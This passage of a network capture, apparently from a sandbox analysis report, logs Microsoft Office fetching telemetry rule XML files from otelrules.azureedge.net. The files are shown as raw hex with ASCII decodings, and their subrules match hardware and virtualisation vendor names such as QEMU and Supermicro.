2024-11-23 14:37:51 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:52 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:53 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143753Z-178bfbc474bq2pr7hC1NYCkfgg00000004n000000000g6nx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:53 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:53 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:53 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 5f785e56-701e-0053-0854-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143753Z-178bfbc474bv587zhC1NYCny5w00000004g0000000006r50 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:54 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:53 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:53 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143753Z-178bfbc474b7cbwqhC1NYC8z4n00000004k00000000052v2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:54 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:53 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:53 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: c9d02f83-e01e-0033-4d75-3b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143753Z-174c587ffdfb5q56hC1TEB04kg000000032g000000002fz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:54 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:53 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:53 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 8d96ff29-301e-0020-36b1-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143753Z-15b8b599d88m7pn7hC1TEB4axw000000031g00000000e4bk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:54 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:54 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 00606c4f-d01e-0014-08c3-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143755Z-15b8b599d88qw29phC1TEB5zag00000002xg00000000mpm3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:55 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:55 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:56 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9a5c0c24-501e-0064-106e-3c1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143756Z-174c587ffdfcb7qhhC1TEB3x70000000036g000000004gye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:56 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:55 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:56 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 23cbbb45-601e-0084-4e3d-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143756Z-178bfbc474bscnbchC1NYCe7eg00000004rg00000000aa0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:56 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:55 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:56 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:56 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3517414d-001e-0065-757a-3d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143756Z-15b8b599d88hr8sfhC1TEBbca400000002x000000000cdcd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 14:37:56 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:55 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:56 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ba159eff-a01e-000d-0e45-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143756Z-178bfbc474bvjk8shC1NYC83ns00000004d000000000c4nm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:56 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:58 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:58 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 4c5d161e-101e-007a-1f97-3d047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143758Z-15b8b599d886w4hzhC1TEBb4ug0000000370000000001n1d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 14:37:58 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:58 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
